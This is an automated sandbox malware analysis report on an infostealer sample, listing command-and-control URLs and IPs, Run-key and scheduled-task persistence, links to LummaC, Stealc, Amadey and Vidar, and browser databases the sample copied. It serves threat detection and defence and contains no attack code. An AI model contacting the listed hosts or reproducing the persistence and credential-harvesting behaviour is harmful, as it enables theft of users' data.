http://anglebug.com/5906	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/166809097	chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2663197728.000039D402E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/6c4adf523b719729.phpOD	44e053de15.exe, 0000000B.00000002.2932820064.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://founpiuer.store/h7	44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lens.google.com/v3/upload	chrome.exe, 0000000C.00000003.2524944249.00003424006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645373716.000034240078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000002.2645157051.0000342400744000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhonefa	chrome.exe, 0000000C.00000002.2660058395.000039D4028B8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3832	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-0.corp.google.com/	chrome.exe, 0000000C.00000003.2529330743.000039D402698000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store/ta87	44e053de15.exe, 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/hj$4	chrome.exe, 0000000C.00000003.2524578019.0000342400684000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/upload	chrome.exe, 0000000C.00000003.2554581902.000039D40333C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554398614.000039D402504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2553911508.000039D403334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2554788694.000039D40340C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6651	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/4830	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/746f34465cf17784/softokn3.dll$IH	932a9eb371.exe, 00000008.00000002.2797456590.0000000001064000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/es	skotes.exe, 00000006.00000002.2962563702.0000000001360000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://founpiuer.store/pi	44e053de15.exe, 00000007.00000003.2583215042.000000000124C000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2963311697.000000000118E000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2660637587.000000000166F000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2653391678.0000000001677000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/:	chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/shielded-email2B	chrome.exe, 0000000C.00000003.2579362478.000039D40360C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://founpiuer.store:443/api	44e053de15.exe, 0000000B.00000002.2926159321.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://founpiuer.store/P7	44e053de15.exe, 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/tools/feedback/chrome/__submit	chrome.exe, 0000000C.00000002.2658949327.000039D4026C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2162	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5430	chrome.exe, 0000000C.00000002.2662832875.000039D402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540605277.000039D402970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2540565927.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2536083590.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.68	unknown	United States	15169	GOOGLEUS	false
104.21.21.16	tmpfiles.org	United States	13335	CLOUDFLARENETUS	false
104.21.5.155	founpiuer.store	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1550756
Start date and time:	2024-11-07 05:59:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@41/40@21/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 142.250.181.227, 142.250.185.78, 74.125.133.84, 34.104.35.123
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:01:01	API Interceptor	159354x Sleep call for process: skotes.exe modified
00:01:15	API Interceptor	589x Sleep call for process: 44e053de15.exe modified
00:01:33	API Interceptor	247x Sleep call for process: 932a9eb371.exe modified
05:00:02	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
05:01:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 44e053de15.exe C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe
05:01:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 932a9eb371.exe C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
05:01:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 803fbc23e3.exe C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe
05:01:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 44e053de15.exe C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe
05:01:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 932a9eb371.exe C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
05:01:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 803fbc23e3.exe C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, HTMLPhisher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.21.16	file.exe	Get hash	malicious	Amadey, DarkVision Rat	Browse
	jYDYjpSbvf.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer, RedLine, SmokeLoader, Stealc	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.1325.25139.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse
	KMPrEVaSfH.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tmpfiles.org	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	104.21.21.16
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	104.21.21.16
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	mlk3kK6uLZ.exe	Get hash	malicious	Amadey, Mars Stealer, PureLog Stealer, Quasar, RedLine, Stealc, Vidar	Browse	104.21.21.16
	KMPrEVaSfH.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.21.16
	SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	104.21.21.16
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse	104.21.21.16
	https://aeindo.co.id/cvt/	Get hash	malicious	Unknown	Browse	104.21.21.16
	https://pmb.stitmakrifatulilmi.ac.id/scv/	Get hash	malicious	HTMLPhisher	Browse	172.67.195.247
founpiuer.store	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.133.135

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.wallpaperflare.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	2pKmZ1M9Je.pdf	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	Hesap.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	https://sites.google.com/view/mygov08/home	Get hash	malicious	Unknown	Browse	1.1.1.1
	505TW85087.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
CLOUDFLARENETUS	https://www.wallpaperflare.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	2pKmZ1M9Je.pdf	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	Hesap.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	https://sites.google.com/view/mygov08/home	Get hash	malicious	Unknown	Browse	1.1.1.1
	505TW85087.htm	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.133.135
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.wallpaperflare.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	2pKmZ1M9Je.pdf	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	505TW85087.htm	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	g7TubE2bYo.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://fr1.readytocheckline.com/ykDZbM	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://fr2.readytocheckline.com/t2kf4F?ds=https://www.msnoob.com	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	SecuriteInfo.com.Win32.Evo-gen.14915.21522.exe	Get hash	malicious	LummaC	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.5.155
	file.exe	Get hash	malicious	LummaC	Browse	104.21.5.155

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	LummaC, Remcos, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	g7TubE2bYo.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	qDvSf4UYM7.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc	Browse

Created / dropped Files

C:\ProgramData\BFHIJEBKEBGHIDHJKJEG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CGDHIEGCFHCGDGCAECBGIDAEGI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGCFHDAKECFIDGDGDBKJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJEGHDA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJEBGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
